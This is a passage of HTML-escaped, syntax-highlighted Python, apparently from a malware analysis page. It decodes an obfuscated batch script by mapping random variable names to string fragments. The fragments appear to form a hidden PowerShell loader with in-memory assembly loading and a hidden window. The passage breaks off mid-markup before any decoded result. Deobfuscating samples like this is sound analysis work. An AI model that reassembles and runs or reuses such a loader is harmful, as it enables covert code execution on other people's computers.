&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;jugDlMdkcG=.Cry&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TiuQnZmosP=-1..&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;EQAuBusyXb=q) {&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GTgGJngEbX=[IO.&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;yZlAoExoOn=O.En&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;sLNudRRtUX= $V&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;WauWfrgGak=ment&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;YmUoUKWAtR=ode]&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;yOkBDuSVrl= if &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MJKqSlzRdg=VPbn&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;PmpGnAHBIo=, $u&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;cUDojRpXKx= [Sy&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;svwZUufvHX=y.Pa&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;GDXqElqPYy=($Yi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;ybHVOwcPrc= = [&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;hIpFAiXGDz=m, 0&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;lfCLMrJHhW=gap &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;NXvoEmTmgu=1Mwd&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;DNNdkNfTiI=comp&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;kpzxAxFvLw=(&amp;#39;%*&amp;#39;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MsfoqNTDfI=ateD&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;MmhvJKSdep=mory&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;uVLEiIUjzw=prof&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;NvnNgHLBLJ=n7Lw&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;owRVWPJqcX=rity&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;HlBVDpGgba=embl&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;SIneUaQPty=stem&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;nogFGGEgdF=16] &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;qsPTvcejTS=n = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;wEZCzuPukj=[Sys&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;rVuFsOUxnm=yste&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;fLycQgNMii=oin &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;KsuJogdoiJ= -no&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;djeIEnPaCg=tsWi&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;brwOvSubJT=e = &amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&lt;/span>&lt;span class="si">%e&lt;/span>&lt;span class="s2">UFw%&amp;#34;TOqZKQRZli=uZOc&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ls&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">dict&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">txt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">k&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">tmp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;%CJnGNBkyYp&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">UBndSzFkbH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ujJtlzSIGW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">nwIWiBzpbz&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">cHFmSnCqnE&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kTEDvsZUvn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JBRccySrUq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ZqjBENExAX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XBucLtReBQ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BFTOQBPCju&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vlwWETKcZH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">NCtxqhhPqI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GOPdPuwuLd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YcnfCLfyyS&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JPfTcZlwxJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ualBOGvshk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xprVJLooVF&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">cIqyYRJWbQ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jaXcJXQMrV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pMrovuxjjq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KXASGLJNCX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XzrrbwrpmM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VCWZpprcdE&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tzMKflzfvX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ndjtYQuanY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">chXxviaBCr&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tHJYExMHlP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WmUoySsDby&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">UrPeBlCopW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">lYCdEGtlPA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">eNOycQnIZD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">PxzdwcSExs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VxroDYJQKR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">zhNAugCrcK&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XUpMhOyyHB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">OOOxFGwzUd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">dzPrbmmccE&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xQseEVnPet&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">eDhTebXJLa&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vShQyqnqqU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KsuJogdoiJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">uVLEiIUjzw&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">SJsEzuInUY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">gNELMMjyFY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XIAbFAgCIP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">weRTbbZPjT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">yQujDHraSv&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">zwDBykiqZZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">nfEeCcWKKK&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MtoMzhoqyY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">igJmqZApvQ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">SIQjFslpHA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KHqiJghRbq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WSRbQhwrOC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BGoTReCegg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WYJXnBQBDj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">SIneUaQPty&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WTAeYdswqF&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">EdLUuXiTNo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rVOFKTskYR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">nMLIkcyFZj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jtkYEPXtKX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">RWcegafVtf&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KhyyrSrcKr&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">zDUDeXKPaV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VZAbZqJHBk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XClTzcVMGM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xVIsxobyZi&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">qpUykKHwzb&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">iKAAuWsbec&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">cYinxarhDL&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">olHsTHINJO&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">uynFENuiYB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WauWfrgGak&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tzSNMWchGN&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">oFspIELDJK&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">FijcPoQLnC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AbMyvUGzSH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LmCknrHfoB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GDXqElqPYy&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">gqUdnmSTUN&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YlKbYsFYPy&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GLwLVWewUj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">EQAuBusyXb&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">yOkBDuSVrl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">FraARuTjiq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hwZKiiLqAE&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ahbOZSBViB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">djeIEnPaCg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AiqHTcPzsv&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JCuNlxqlBZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TYbHmXrqgV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">sLNudRRtUX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">dbDMRBPrxg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XEyDmChJvW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KytxcYPZKt&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GWrDWSvoPL&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">haSZYOmkiA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JhYYmEHfJT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LPGeAanVGt&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hTTJOKGuzo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MFRjJyYsrs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kpEWZrtOzX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BrDOtQoojB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YnGvhgYxvb&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">cUDojRpXKx&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rSVBNvbdPT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kJjQuXIjOT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tVtxVGNpFB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BqEMjgsfHM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">fVHBRsLNUl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jgiQdwyxFg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">HLynrUfwGo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">FCBcNynRGD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VavtsuhNIN&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">HUAAetwukX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">nogFGGEgdF&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">iHRclHpeVX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MrNTGKcbYu&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">bTHJpHTPMM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QbKdEZdxpx&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">drymkVAnZW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">DDiJEpaiME&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">OAsjgKHKoH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">HFLAqJuuyu&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">gFQQimTbzp&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YULKJDZpgz&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">oQYrpYRHsU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VGKsxiJBaT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">RGlZIMTaRM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JenYfqHzBk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vmIEtsktnA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TypmIIEYJC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">eQPFkQsLmh&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AkaPyEXHFq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BANrSlObpx&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LIQYgFxctD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ZygfZJxAOd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KXttaDcyMZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">brwOvSubJT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hVncqdtHrj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">OonlMOpxYC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">CZpuCIcrKh&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">owRVWPJqcX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jugDlMdkcG&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">DXdgqiFTAH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">acXjUrxrpX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">eYuashSMjP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ESpdErsKEO&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kQQvXhxXIT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pLUeCEDcNj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pTKKchMUFD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ZMNBNnhYdl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KVdpASYkBZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">OpWuyrggtP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">uDsfTCYsro&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">wEZCzuPukj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jCsFOJQsdv&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hbFnQgCXwX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">UFSmCjquVd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BMVjGSkNrk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MFpVhvZMMs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">SRYmoDJgcF&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">svwZUufvHX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WPGlloqWfh&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kEHDlJOIVc&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jdKMRqipbM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pEeOvclMbZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">nMbUuONTOk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GwAFOSfUtV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">gbVsRGzTij&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ybHVOwcPrc&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">CpAQgSdzaC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XqtgTmRIdO&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pUKFMEPFQs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QpDqsQAemY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">CZTFliIBbC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">EuMCNHEVeC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">dyJHMHMcNc&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LNwemqbftD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VnDoNvCbDL&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">mFZJVdqlTD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vGOYQQYIpx&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GzBAHPVuTq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">fLycQgNMii&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ZPlPiozEyW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xULgeMdzcg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">iVrCyJhMiJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">dlzhxQnMss&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pqWXTkasXe&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">doKcadyJqy&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hNwOTmvEJo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">yqhJQSZuJo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JPOdGPAwht&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rEvTlCThdH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">PwJJFMgamh&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">eeacPrYshd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LYxpWUVnyn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YRqcyngfyU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">IAkZpnEseT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">DAaZVQYtML&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QTBYjmNXEB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">lSUnvlNyZI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pCjFJxRqgH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">oMsMdPYmPd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AGOCIKFMEK&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">dAuevoJWoL&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">uwRWnyAikF&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">mBIWiJNHWZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">RfMwENsorP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">gbXeIdPSoj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kxCYxBSxVM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AbZpTpKurz&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">glRvzlEEoe&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TVsNOuCNZd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VUsEoebHks&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tuAPcYGhzl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WojQSFImBz&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">NXvoEmTmgu&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jWtWLzuDKP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">NvnNgHLBLJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vPgKEvZmlQ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ftaecaUnft&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">lfCLMrJHhW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ArAxZuPIrp&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">zhsTKtujLg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MxwsyqmvYm&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MsfoqNTDfI&lt;/span>&lt;span 